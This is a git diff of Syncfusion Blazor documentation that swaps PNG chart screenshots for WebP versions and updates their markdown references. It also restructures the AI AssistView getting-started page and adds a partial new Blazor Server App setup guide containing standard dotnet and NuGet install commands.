index 1baab9d4b5..0000000000
Binary files a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.webp b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.webp
new file mode 100644
index 0000000000..a69e8ab12c
Binary files /dev/null and b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-format.webp differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.png b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.png
deleted file mode 100644
index ceb4cbbc78..0000000000
Binary files a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.webp b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.webp
new file mode 100644
index 0000000000..b141d3f918
Binary files /dev/null and b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip-mapping.webp differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.png b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.png
deleted file mode 100644
index 0689702a38..0000000000
Binary files a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.png and /dev/null differ
diff --git a/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.webp b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.webp
new file mode 100644
index 0000000000..e09ae586b3
Binary files /dev/null and b/blazor/accumulation-chart/images/tool-tip/blazor-accumulation-chart-tooltip.webp differ
diff --git a/blazor/accumulation-chart/legend.md b/blazor/accumulation-chart/legend.md
index 717fc87e61..d7aaaf49e2 100644
--- a/blazor/accumulation-chart/legend.md
+++ b/blazor/accumulation-chart/legend.md
@@ -45,7 +45,7 @@ The legend is available for accumulation charts, just like it is for charts, and
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBKCBWfsHSGQTvG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Legend in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDBKCBWfsHSGQTvG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Legend in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend.webp)" %}
 
 ## Position and alignment
 
@@ -85,7 +85,7 @@ The legend can be placed at [Left](https://help.syncfusion.com/cr/blazor/Syncfu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrUsLCzsHdMOzRi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Position and Alignment of Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXrUsLCzsHdMOzRi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Position and Alignment of Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-position.webp)" %}
 
 ## Legend Reverse
 
@@ -126,7 +126,7 @@ You can reverse the order of the legend items by using the [Reverse](https://hel
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rthqMVCpMRRynnnl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Reverse in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-reverse.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rthqMVCpMRRynnnl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Reverse in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-reverse.webp)" %}
 
 ## Legend shape
 
@@ -167,7 +167,7 @@ The [LegendShape](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLUMhiJMxnkMBtv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Shape in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-shape.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLUMhiJMxnkMBtv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Shape in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-shape.webp)" %}
 
 ## Legend size
 
@@ -209,7 +209,7 @@ The legend size can be customized by using the [Width](https://help.syncfusion.c
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrqsrMpixGVWbxO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Size in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrqsrMpixGVWbxO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Size in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-size.webp)" %}
 
 ## Legend shape size
 
@@ -250,7 +250,7 @@ The [ShapeHeight](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLgsLsTsHQSwtZv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Item Size in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-item-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLgsLsTsHQSwtZv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Item Size in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-item-size.webp)" %}
 
 ## Paging for Legend
 
@@ -291,7 +291,7 @@ When the legend items exceed legend bounds, paging will be enabled by default. E
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVKWVWTiRwuHWFS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Paging for Legend in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-paging.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVKWVWTiRwuHWFS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Paging for Legend in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-paging.webp)" %}
 
 ### Paging customization
 
@@ -348,7 +348,7 @@ In legend pager, the arrow elements can be customized by using the [ArrowSize](h
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthTZnrTBvLmyjUM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart Legend Pager Customization](images/legend/blazor-accumulation-chart-legend-paging-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthTZnrTBvLmyjUM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart Legend Pager Customization](images/legend/blazor-accumulation-chart-legend-paging-customization.webp)" %}
 
 ## Legend text wrap
 
@@ -387,7 +387,7 @@ When the legend text exceeds the container, the text can be wrapped by using [Te
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLqsrMJWRuPUEHB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart Legend with Wrap](images/legend/blazor-accumulation-chart-legend-wrap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLqsrMJWRuPUEHB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart Legend with Wrap](images/legend/blazor-accumulation-chart-legend-wrap.webp)" %}
 
 ## Legend Template
 
@@ -451,7 +451,7 @@ To use, add a `LegendItemTemplate` inside any [AccumulationChartSeries](https://
 
 }
 ```
-![Legend Template in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-template.png)
+![Legend Template in Blazor Accumulation Chart](images/legend/blazor-accumulation-chart-legend-template.webp)
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know about the various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/title-and-sub-title.md b/blazor/accumulation-chart/title-and-sub-title.md
index 4876827710..8e3abfa0ca 100644
--- a/blazor/accumulation-chart/title-and-sub-title.md
+++ b/blazor/accumulation-chart/title-and-sub-title.md
@@ -47,7 +47,7 @@ The [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAcc
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrqCViTsGXMlSaD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrqCViTsGXMlSaD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-title.webp)" %}
 
 ## Title customization
 
@@ -89,7 +89,7 @@ The [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfAcc
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBUMVCpMmDIcLry?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-title-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBUMVCpMmDIcLry?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-title-customization.webp)" %}
 
 ### Title position
 
@@ -131,7 +131,7 @@ N> The subtitle, which appears below the title, will also be positioned along wi
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLSZJNzBeDlhwIW?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Position customization of title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLSZJNzBeDlhwIW?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Position customization of title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-position.webp)" %}
 
 When the `Position` is set to `Custom`, the title can be positioned anywhere on the chart using the [X](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTitleStyle.html#Syncfusion_Blazor_Charts_AccumulationChartTitleStyle_X) and [Y](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTitleStyle.html#Syncfusion_Blazor_Charts_AccumulationChartTitleStyle_Y) properties in [AccumulationChartTitleStyle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.AccumulationChartTitleStyle.html). This provides precise control over the title’s location, enabling customization to fit specific design or layout needs. The `X` and `Y` values specify the horizontal and vertical coordinates, respectively.
 
@@ -169,7 +169,7 @@ When the `Position` is set to `Custom`, the title can be positioned anywhere on
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhoNJNQqAoFwbVK?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Custom position of title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-position-custom.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhoNJNQqAoFwbVK?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Custom position of title in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-position-custom.webp)" %}
 
 
 ## Subtitle
@@ -209,7 +209,7 @@ The [SubTitle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sf
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrgMrCpiGjaRMic?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Subtitle in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-with-subtitle.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrgMrCpiGjaRMic?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Subtitle in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-with-subtitle.webp)" %}
 
 ## Subtitle customization
 
@@ -250,7 +250,7 @@ The [SubTitle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Sf
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhUihWfiGMgtYfB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Subtitle in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhUihWfiGMgtYfB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Subtitle in Blazor Accumulation Chart](images/title/blazor-accumulation-chart-subtitle-customization.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/tool-tip.md b/blazor/accumulation-chart/tool-tip.md
index f874a004bb..a1b874a261 100644
--- a/blazor/accumulation-chart/tool-tip.md
+++ b/blazor/accumulation-chart/tool-tip.md
@@ -47,7 +47,7 @@ The [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVUirMUTHNidTzn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays ToolTip](images/tool-tip/blazor-accumulation-chart-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNVUirMUTHNidTzn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays ToolTip](images/tool-tip/blazor-accumulation-chart-tooltip.webp)" %}
 
 ## Header
 
@@ -90,7 +90,7 @@ The [Header](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVqChsApHestEJW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays ToolTip for Header](images/tool-tip/blazor-accumulation-chart-header-tooltip.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVqChsApHestEJW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays ToolTip for Header](images/tool-tip/blazor-accumulation-chart-header-tooltip.webp)" %}
 
 ## Tooltip format
 
@@ -133,7 +133,7 @@ By default, tooltip shows information about x and y value in points. In addition
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLgsLCKzRIODYxT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing ToolTip Format in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLgsLCKzRIODYxT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing ToolTip Format in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-format.webp)" %}
 
 ## Tooltip customization 
 
@@ -177,7 +177,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accumu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLKsriUJxRffqTe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Tooltip in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDLKsriUJxRffqTe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Tooltip in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-customization.webp)" %}
 
 ## Tooltip Text Mapping
 
@@ -226,7 +226,7 @@ By default, tooltip shows information of x and y value in points. In addition, b
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVUshCTCHSgEYgI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip Text Mapping in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVUshCTCHSgEYgI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[ToolTip Text Mapping in Blazor Accumulation Chart](images/tool-tip/blazor-accumulation-chart-tooltip-mapping.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know about the various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/ai-assistview/getting-started-webapp.md b/blazor/ai-assistview/getting-started-webapp.md
index ea61b52f82..6039402a25 100644
--- a/blazor/ai-assistview/getting-started-webapp.md
+++ b/blazor/ai-assistview/getting-started-webapp.md
@@ -151,71 +151,71 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component
 
-Add the Syncfusion Blazor AI AssistView component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly`, or `InteractiveAuto`). Use the [PromptSuggestions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptSuggestions) property to add prompt suggestions and the [PromptRequested](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptRequested) event to generate responses based on the entered prompts.
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveAuto
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.InteractiveChat
 
 <div class="aiassist-container" style="height: 350px; width: 650px;">
-    <SfAIAssistView></SfAIAssistView>
+    <SfAIAssistView PromptSuggestions="@promptSuggestions" PromptRequested="@PromptRequest"></SfAIAssistView>
 </div>
 
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in your default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrfCjiMCTRHTGzR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AI AssistView Component](./images/ai-assistview-component.webp)" %}
+@code {
+List<string> promptSuggestions = new List<string>
+{
+"How do I prioritize my tasks?",
+"How can I improve my time management skills?"
+};
 
-> **Note:** Starting from version 33.1x, when a user submits a prompt to the AI AssistView, the component automatically scrolls and focuses on the latest prompt and response. This behavior eliminates the need for users to manually scroll down to see the new response, ensuring they always view the most recent AI response without interruption. Prior to version 33.1x, the previous responses remained visible when new responses were added.
+```
+public class AssistModel
+{
+    public string Prompt { get; set; }
+    public string Response { get; set; }
+}
 
-## Configure suggestions and responses
+private List<AssistModel> prompts = new List<AssistModel>()
+{
+    new AssistModel()
+    {
+        Prompt = "How do I prioritize my tasks?",
+        Response = "Prioritize tasks by urgency and impact: tackle high-impact tasks first, delegate when possible, and break large tasks into smaller steps. For more assistance, feel free to ask—I’m here to help!"
+    },
+    new AssistModel()
+    {
+        Prompt = "How can I improve my time management skills?",
+        Response = "To improve time management skills, try setting clear goals, using a planner or digital tools, prioritizing tasks, breaking tasks into smaller steps, and minimizing distractions. Regularly review and adjust your approach for better efficiency."
+    }
+};
 
-You can use the [PromptSuggestions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptSuggestions) property to add prompt suggestions and the [PromptRequested](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptRequested) event to add responses when the prompt matches the specified prompts data otherwise, the default response will be displayed.
+private async Task PromptRequest(AssistViewPromptRequestedEventArgs args)
+{
+    await Task.Delay(3000);
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+    var isPromptFound = prompts.Any(prompt => prompt.Prompt == args.Prompt);
+    var promptData = prompts.FirstOrDefault(prompt => prompt.Prompt == args.Prompt);
 
-<div class="aiassist-container" style="height: 350px; width: 650px;">
-    <SfAIAssistView PromptSuggestions="@promptSuggestions" PromptRequested="@PromptRequest"></SfAIAssistView>
-</div>
+    var defaultResponse = "For real-time prompt processing, connect the AI AssistView component to your preferred AI service, such as OpenAI or Azure Cognitive Services. Ensure you obtain the necessary API credentials to authenticate and enable seamless integration.";
 
-@code {
-    List<string> promptSuggestions = new List<string> { "How do I prioritize my tasks?", "How can I improve my time management skills?" };
-    public class AssistModel
-    {
-        public string Prompt { get; set; }
-        public string Response { get; set; }
-    }
-    private List<AssistModel> prompts = new List<AssistModel>()
-    {
-        new AssistModel() { Prompt = "How do I prioritize my tasks?", Response = "Prioritize tasks by urgency and impact: tackle high-impact tasks first, delegate when possible, and break large tasks into smaller steps. For more assistance, feel free to ask—I’m here to help!" },
-        new AssistModel() { Prompt = "How can I improve my time management skills?", Response = "To improve time management skills, try setting clear goals, using a planner or digital tools, prioritizing tasks, breaking tasks into smaller steps, and minimizing distractions. Regularly review and adjust your approach for better efficiency" }
-    };
-    private async Task PromptRequest(AssistViewPromptRequestedEventArgs args)
-    {
-        await Task.Delay(3000);
-        var isPromptFound = prompts.Any(prompt => prompt.Prompt == args.Prompt);
-        var promptData = prompts.FirstOrDefault(prompt => prompt.Prompt == args.Prompt);
-        var defaultResponse = "For real-time prompt processing, connect the AI AssistView component to your preferred AI service, such as OpenAI or Azure Cognitive Services. Ensure you obtain the necessary API credentials to authenticate and enable seamless integration.";
-        args.Response = isPromptFound ? promptData.Response : defaultResponse;
-    }
+    args.Response = isPromptFound ? promptData.Response : defaultResponse;
+}
+```
 }
 
 {% endhighlight %}
 {% endtabs %}
 
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor AI AssistView component in the default web browser.
+
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTCNsCMKFGRhuU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AI AssistView default prompt](./images/default-prompt.webp)" %}
 
+> **Note:** Starting from version 33.1x, when a user submits a prompt to the AI AssistView, the component automatically scrolls and focuses on the latest prompt and response. This behavior eliminates the need for users to manually scroll down to see the new response, ensuring they always view the most recent AI response without interruption. Prior to version 33.1x, the previous responses remained visible when new responses were added.
+
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AIAssistView).
\ No newline at end of file
diff --git a/blazor/ai-assistview/getting-started-with-server-app.md b/blazor/ai-assistview/getting-started-with-server-app.md
new file mode 100644
index 0000000000..1cd76004d2
--- /dev/null
+++ b/blazor/ai-assistview/getting-started-with-server-app.md
@@ -0,0 +1,216 @@
+---
+layout: post
+title: Getting Started with Syncfusion AI AssistView in Blazor Server App
+description: Check out the documentation for getting started with Syncfusion Blazor AI AssistView Components in Blazor Server App.
+platform: Blazor
+control: AI AssistView
+documentation: ug
+---
+
+# Getting Started with AI AssistView Component in Blazor Server App
+
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView](https://www.syncfusion.com/blazor-components/blazor-ai-assistview) component in a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+## Create a new Blazor App in Visual Studio
+
+Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+## Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+
+Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
+
+Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+
+{% tabs %}
+
+{% highlight c# tabtitle="Blazor Server App" %}
+
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
+
+{% endhighlight %}
+
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+## Prerequisites
+
+Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If the .NET SDK is already installed, determine the installed version by running the following command in a command prompt (Windows), terminal (macOS), or command shell (Linux).
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet --version
+
+{% endhighlight %}
+{% endtabs %}
+
+## Create a Blazor Server App using .NET CLI
+
+Run the following command to create a new Blazor Server App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=.net-cli) documentation.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet new blazor -o BlazorApp -int Server
+cd BlazorApp
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.InteractiveChat](https://www.nuget.org/packages/Syncfusion.Blazor.InteractiveChat/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.InteractiveChat -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
